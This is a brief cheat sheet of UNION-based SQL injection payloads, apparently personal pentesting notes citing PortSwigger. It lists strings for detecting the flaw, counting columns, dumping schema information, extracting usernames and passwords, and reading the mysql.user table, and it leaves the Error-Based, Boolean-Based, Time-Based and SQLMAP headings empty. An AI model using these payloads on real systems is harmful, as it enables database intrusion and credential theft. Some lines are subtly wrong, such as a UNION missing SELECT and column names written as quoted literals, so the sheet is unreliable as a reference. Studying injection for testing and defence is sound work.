SQL Injection
UNION-Based
# How To Detect
'
-- abc
# Find Number Of Columns
' ORDER BY 2-- abc
' UNION NULL,NULL-- abc
# Test Columns Data Types
' UNION SELECT 'a',NULL-- abc
' UNION SELECT NULL,'a'-- abc
# Print Database Version
' UNION SELECT @@version,@@version-- abc
# Print Multiple Values On One Column
' UNION SELECT CONCAT('username','~','password') FROM users--
# Print Databases and Tables
' UNION SELECT table_name,table_schema FROM information_schema.tables-- abc
# Print Tables and Columns
' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name ='user'-- abc
# Print Specific Database, Table and Columns
' UNION SELECT host,user FROM mysql.user-- abcError-Based
Boolean-Based
Time-Based
SQLMAP




Reference: https://portswigger.net/web-security/sql-injection/cheat-sheet
Last updated